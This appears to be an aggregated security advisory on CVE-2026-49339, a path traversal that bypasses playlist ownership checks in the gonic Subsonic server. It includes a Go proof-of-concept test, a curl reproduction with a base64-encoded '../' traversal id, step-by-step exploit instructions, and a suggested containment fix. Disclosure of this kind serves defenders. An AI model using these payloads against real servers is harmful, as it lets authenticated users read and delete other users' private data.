gonic (Subsonic API), Path Traversal / Authorization Bypass, CVE-2026-49339 (High) -DC-Jun2026-735

Listen to this Post

How CVE-2026-49339 Works

The maintainer of gonic, a free-software Subsonic music server implementation, recently added an ownership check in commit `6dd71e6a3c966867ef8c900d359a7df75789f410` to enforce playlist ownership on `getPlaylist` and `deletePlaylist` endpoints. The fix introduced a guard clause that compares `playlist.UserID` against the authenticated user’s ID.
However, the vulnerability lies in how `playlist.UserID` is derived. The function `server/ctrlsubsonic/handlers_playlist.go::playlistIDDecode` performs a raw base64 decode of the attacker-controlled `id` parameter and passes the resulting byte string directly to playlistStore.Read/Delete:

func playlistIDDecode(id specid.ID) string {
path, _ := base64.URLEncoding.DecodeString(id.StringValue)
return string(path)
}

In `playlist/playlist.go::Store.Read`, the code then does:

absPath := filepath.Join(s.basePath, relPath) // no containment check
// ...
playlist.UserID, err = userIDFromPath(relPath) // extracts firstPathEl, e.g. "2"

The `userIDFromPath` function reads only the first path segment via `firstPathEl(relPath)` — `strconv.Atoi` of strings.Split(path, "/")

</code>. It performs no validation that the cleaned absolute path stays within <code>s.basePath</code>.
Because the `id` parameter is base64-decoded as raw bytes without any path sanitization, an attacker can craft a payload like <code>"2/../../<victim>/playlist.m3u"</code>. The `userIDFromPath` extracts `"2"` (the attacker's own user ID), setting <code>playlist.UserID = 2</code>. The ownership check `playlist.UserID != user.ID && !playlist.IsPublic` becomes `2 != 2 && ...` → <code>false</code>, granting access. Meanwhile, `filepath.Join` resolves the `..` segments and escapes the intended `basePath` directory.
This creates a path traversal vulnerability that completely bypasses the ownership check introduced in the recent fix. The same issue affects <code>Store.Delete</code>, <code>ServeGetPlaylist</code>, <code>ServeDeletePlaylist</code>, and `playlistIDDecode` itself.

<h2 style="color: blue;">Any authenticated Subsonic user can therefore:</h2>

<ul>
<li>Read any other user's playlist (name, comment, IsPublic flag, song list)</li>
<li>Delete any other user's playlist (including admin's curated playlists)</li>
<li>Probe arbitrary file paths on the host for existence/readability</li>
</ul>

<h2 style="color: blue;">DailyCVE Form</h2>

Platform: gonic
Version: < 0.21.0
Vulnerability: Path Traversal
Severity: High (7.1)
date: 2026-05-25

<h2 style="color: blue;">Prediction: 2026-06-27</h2>

<h2 style="color: blue;">What Undercode Say — Analytics</h2>

The vulnerability was introduced as a regression from the ownership fix in commit <code>6dd71e6</code>. The root cause is the absence of path containment validation in <code>Store.Read</code>, <code>Store.Write</code>, and <code>Store.Delete</code>. The `userIDFromPath` function trusts only the first path segment, making the ownership check trivially bypassable.

<h2 style="color: blue;">Live PoC — Go Test:</h2>

[bash]
func TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix(t testing.T) {
f := newFixture(t)
tmpDir := filepath.Dir(f.contr.musicPaths[bash].Path)
sentinelDir := filepath.Join(tmpDir, "sensitive")
require.NoError(t, os.MkdirAll(sentinelDir, 0o755))
sentinelPath := filepath.Join(sentinelDir, "secret.m3u")
require.NoError(t, os.WriteFile(sentinelPath, []byte(<code>GONIC-NAME:"victim-secret"
GONIC-COMMENT:"sensitive content"
GONIC-IS-PUBLIC:"false"</code>), 0o644))
rawRel := fmt.Sprintf("%d/../../sensitive/secret.m3u", f.alt.ID)
traversalID := playlistIDEncode(rawRel).String()
resp := f.query(t, f.contr.ServeGetPlaylist, f.alt, url.Values{"id": {traversalID}})
require.Contains(t, string(resp), "victim-secret")
}

Source: Provided PoC

HTTP-level Reproduction:

ATTACKER_ID=2
RAW='2/../1/shared.m3u'
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')"
curl -s "http://gonic-host/rest/getPlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID"

Exploit

An attacker with any valid Subsonic account can:

  1. Encode a path traversal payload where the first segment is their own user ID
  2. Append `../` segments to traverse into another user's playlist directory

3. Base64-URL-encode the entire string

  1. Send it as the `id` parameter to `/rest/getPlaylist.view` or `/rest/deletePlaylist.view`

The server will:

  • Extract the attacker's user ID from the first segment → ownership check passes
  • Resolve the `../` traversal via `filepath.Join` → accesses the victim's file
    This allows reading private playlist metadata (name, comment, IsPublic flag, song list) and deleting any playlist file.

Protection

The fix requires adding path containment validation in `playlist/playlist.go` for Store.Read, Store.Write, and Store.Delete:

func (s Store) contained(relPath string) (string, error) {
absPath := filepath.Join(s.basePath, relPath)
rel, err := filepath.Rel(s.basePath, absPath)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
return "", fmt.Errorf("path %q escapes playlist directory", relPath)
}
return absPath, nil
}
func (s Store) Read(relPath string) (Playlist, error) {
defer lock(&s.mu)()
if err := sanityCheck(s.basePath); err != nil {
return nil, err
}
absPath, err := s.contained(relPath)
if err != nil {
return nil, err
}
// ... rest unchanged, using absPath
}

Source: Provided suggested fix

Apply the same `contained()` check in `Write()` (line 153) and `Delete()` (line 206) as well. The ownership check from `6dd71e6` then becomes a defense-in-depth layer on top of the structural containment. Upgrade to gonic version 0.21.0 or later which contains the fix.

Impact

  • Confidentiality: Any authenticated user can read any other user's private (IsPublic=false) playlist content
  • Integrity / Availability: Any authenticated user can delete any other user's playlists, including administrator-curated lists
  • Trust Boundary: Defeats the multi-user authorization model that the maintainer just patched
  • Arbitrary File Probe: File-existence probing works against arbitrary paths on the host
  • CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N — 7.1 High

Credits: Reported by Vishal Shukla (@shukla304 / @therawdev)

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top